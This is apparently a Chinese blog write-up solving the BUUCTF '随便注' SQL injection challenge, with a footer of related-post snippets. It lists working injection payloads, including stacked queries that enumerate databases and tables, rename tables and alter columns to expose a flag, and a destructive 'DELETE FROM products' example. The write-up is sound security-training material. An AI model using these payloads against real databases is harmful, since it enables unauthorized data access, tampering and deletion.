buuctf 随便注 writeup
1.0 打开页面

显然这个题的考点是注入,那我们来测一下
2.0 sql注入测试
1

2

输入 1' 后发现没有回显,改为 1' --+ 后,有回显,应该在这存在注入点

试一下 1' and 1=1 --+ 有一条回显

我们再改一下1' and 1=2 --+ 发现已经没有回显了

再试1' or 1=1 --+ 返回所有记录

正常sql注入流程order by走起,猜测为2个字段1' order by 2 --+

再测1' order by 3 --+他说没有字段3

既然测的字段有2个,联合查询union select 走起 1' union select 1, 2 --+

发现它把大部分的关键字过滤掉了,哦,有自己tcl,超出自己的知识范围了,所以找了一下dalao的wp,发现了新的知识堆叠注入,再此学习一波
3.0 堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个
想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者
union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输
入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过
滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一
条显示查询信息,第二条则将整个表进行删除。
简单理解就是多条sql语句堆在一起执行,执行的语句类型没有限制
准备在写一篇堆叠注入当作笔记,记一下,现在大概知道了这个东西,就跟着wp试一下
试一下1'; show databases; --+ 看看效果,发现不仅查询1的记录,还进行的数据库的查询

在试一下数据表1'; show tables; --+发现数据表有2个

在试一下两张数据表里面都有什么字段'; show columns from words; --+

再试一下 0';show columns from `1919810931114514`; --+ 发现我们想要的flag字段在表1919810931114514中

4.0 骚姿势--改名字
在这学到了,两个骚姿势,alert和rename 既然它没有过滤这两个关键字,那是不是可以给表改名啊
- 先把words -> word1
- 再把1919810931114514 -> words
- 最后把1919810931114514表中的flag字段改为id
payload: 1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not null;show columns from words;--+

再用1' or 1=1 --+查看发现flag

buuctf 随便注 writeup的更多相关文章
- BUUCTF 随便注
知识点: ##堆叠注入 #预语句注入 https://www.cnblogs.com/0nth3way/articles/7128189.html#autoid-1-0-0 正则过滤了很多关键字导致无 ...
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- buuctf刷题之旅—web—随便注
打开环境 根据提示应该是sql注入 查看数据库名,和数据表 1';show databases;# 1';show tables;# 查看表内字段(1';desc `1919810931114514` ...
- BUUCTF[强网杯 2019]随便注(堆叠注入)
记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...
- [BUUOJ记录] [强网杯 2019]随便注(三种方法)
本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...
- 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)
然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...
- 对MYSQL注入相关内容及部分Trick的归类小结
前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
- BUUCTF知识记录
[强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...
随机推荐
- 图像反转(一些基本的灰度变换函数)基本原理及Python实现
1. 基本原理 获取像素值在[0, L]范围内的图像的反转图像,即为负片.适用于增强图像中白色或者灰色的区域,尤其当黑色在图片中占主地位时候 $$T(r) = L-r$$ 2. 运行结果 图源自ski ...
- 第三章 Linux基本命令操作
第三章 Linux基本命令操作 ¨ 本节所讲内容: ¨ 3.1 Linux终端介绍 Shell提示符 Bash Shell基本语法 ¨ 3.2 基本命令的使用:ls.pwd.cd.hist ...
- Unity实现放大缩小以及相机位置平移实现拖拽效果
放大缩小功能是游戏开发中用到的功能,今天就来讲一下Unity中放大缩小怎么实现. 1.IDragHandler, IBeginDragHandler, IEndDragHandler这三个接口是Uni ...
- Guava cache使用总结
缓存分为本地缓存和远端缓存.常见的远端缓存有Redis,MongoDB:本地缓存一般使用map的方式保存在本地内存中.一般我们在业务中操作缓存,都会操作缓存和数据源两部分.如:put数据时,先插入DB ...
- Go中的反射reflect
前面我们在学习到struct结构体的时候,因为结构体中的字段首字母大写,而我们想把json文件映射到该结构体上时,需要在在结构体字段后面加上json标签,表明结构体字段和json字段的映射关系.这其中 ...
- JavaWeb——JSP开发2
使用JSP+Servlet实现文件的上传和下载功能 1.文件模型 首先是文件本身,这里创建一个类记录文件的名字和内容: public class Attachment { private String ...
- cs231n---循环神经网络
1 RNN介绍 (1)一对多,多对一,多对多的任务 传统的神经网络只能处理一对一的任务,而RNN可以处理一对多,多对一,多对多的任务: 其中,一些典型的应用如下: Image Captioning:i ...
- 7.17 正则表达式 re模块
在介绍正则表达式和re模块之前,先简要介绍一下 正则表达式与re模块的关系 1.正则表达式是一门独立的技术,任何语言均可使用 2.python中要想使用正则表达式需要通过re模块 正则表达式 元字符 ...
- Mysql5.6对时间的处理精度问题
在业务处理需要使用new Date()来更新时间类型的字段时,数据库会对时间类型进行四舍五入处理,如果new Date()的更新时间与原时间间隔太短,数据库进行四舍五入之后,认为值没有变化,从而不更新 ...
- Kendo-Grid for Vue API and Template
写此博客的原因:在做项目时前端用的vue,后端用的jfinal.在前端veu中调用了kendo grid插件,但是在官方文档中对kendo grid for vue 的api和template都不太详 ...